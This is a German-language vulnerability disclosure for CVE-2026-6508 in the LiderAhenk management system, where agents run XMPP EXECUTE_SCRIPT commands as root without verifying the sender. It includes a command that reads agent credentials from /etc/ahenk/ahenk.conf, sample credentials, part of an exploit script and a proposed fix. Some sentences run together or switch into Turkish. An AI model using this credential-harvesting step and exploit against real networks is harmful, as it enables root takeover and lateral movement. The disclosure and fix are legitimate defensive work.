
CVE-2026-6508 Kritische Sicherheitslücke in der LiderAhenk Merkezi Yönetim Sistemi-Architektur, die es allen Clients zwischen den Endgeräten (agents) ermöglicht, mit 'root'-Berechtigungen Code aufeinander auszuführen (unauthorized rce & lateral movement).
EvilAhenk ist eine kritische Sicherheitslücke in der Architektur des LiderAhenk Central Management Systems, die es allen Clients (Agenten) untereinander ermöglicht, Code mit 'root'-Berechtigung auf anderen auszuführen (Unauthorized RCE & Lateral Movement).
Im LiderAhenk sendet die Verwaltungskonsole/der Zentralserver Aufgaben- und Richtliniennachrichten über XMPP an die Clients.
ahenk-Agenten auf den Clients verbinden sich ebenfalls mit derselben XMPP-Infrastruktur,EXECUTE_POLICY, EXECUTE_TASK oder EXECUTE_SCRIPT an den Ziel-ClientXMPP ist hier also der Transportkanal für den Verwaltungsverkehr. Die Befehle des zentralen Panels gehen normalerweise über diesen Kanal zu den Clients.
Erwarteter Ablauf:
Lider/Ahenk yonetim paneli -> XMPP sunucusu -> hedef agent
Anfälliger Ablauf:
ct-2 ist ein gültiger Client, der mit demselben XMPP-Server verbunden istct-2 sendet eine EXECUTE_SCRIPT-Nachricht über den XMPP-Server, die auf die JID von ct-1 abzieltct-1 weiterct-1 führt den Befehl aus, ohne zu überprüfen, ob die Nachricht tatsächlich von lider_sunucu stammtahenk.service als root läuftct-2 veya baska bir XMPP hesabi -> XMPP sunucusu -> ct-1 agent -> root komut
Wir hacken also nicht die XMPP-Ebene. Der XMPP-Server führt eine normale Nachrichtenweiterleitung durch. Das Problem ist, dass der Ahenk-Agent auf der ct-1-Seite nicht überprüft, ob die eingehende Nachricht tatsächlich von einem autorisierten Verwaltungskonto stammt.
pip install slixmpp
Auf einem kompromittierten und mit dem zentralen Verwaltungssystem verbundenen Client werden die folgenden Informationen gesammelt:
sudo grep -E '^(uid|password|host|port|servicename|receiverjid|use_tls)' /etc/ahenk/ahenk.conf
Beispielausgabe;
uid = pardus-ct-2
password = e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401
host = 192.168.100.13
port = 5222
use_tls = false
receiverjid = lider_sunucu
servicename = im.liderahenk.org
Wir aktualisieren die main.py-Datei entsprechend den erhaltenen Informationen: Domain im.liderahenk.org, Ziel-UID pardus-ct-1
- XMPP user: `[email protected]`
- XMPP password: `e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401`
- XMPP host: `192.168.100.13`
- XMPP port: `5222`
- Standardziel: `[email protected]`
Der Befehl, der auf der Zielmaschine ausgeführt werden soll, kann durch Ändern der Variablen COMMAND angepasst werden.
root@pardus-ct-2:/home/pardus-ct-2# cat xp.py | head -n 11
#!/usr/bin/env python3
import asyncio
import json
from slixmpp import ClientXMPP
XMPP_USER = "[email protected]"
XMPP_PASS = "e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401"
TARGET_JID = "[email protected]"
XMPP_HOST = "192.168.100.13"
XMPP_PORT = 5222
COMMAND = "id > /tmp/who; false"
In repos/ahenk/src/base/messaging/messenger.py wird die eingehende Nachricht nur anhand des type-Feldes verarbeitet. Es gibt keine Überprüfung des autorisierten Absenders für msg['from']:
def recv_direct_message(self, msg):
if msg['type'] in ['normal']:
j = json.loads(str(msg['body']))
message_type = j['type']
self.event_manger.fireEvent(message_type, str(msg['body']))
In repos/ahenk/src/base/execution/execution_manager.py führt EXECUTE_SCRIPT direkt zur Befehlsausführung:
def execute_script(self, arg):
json_data = json.loads(arg)
result_code, p_out, p_err = Util.execute(str(json_data['command']))
Die Kombination dieser beiden Teile hat folgende Auswirkung:
EXECUTE_SCRIPT-Ereignis aus, ohne den Absender zu verifizierenMöglicher Design-Fix;
def recv_direct_message(self, msg):
if msg['type'] != 'normal':
return
allowed_sender = self.receiver.split('/')[0]
actual_sender = msg['from'].bare
if actual_sender != allowed_sender:
self.logger.warning("Rejected message from %s", actual_sender)
return
j = json.loads(str(msg['body']))
self.event_manger.fireEvent(j['type'], str(msg['body']))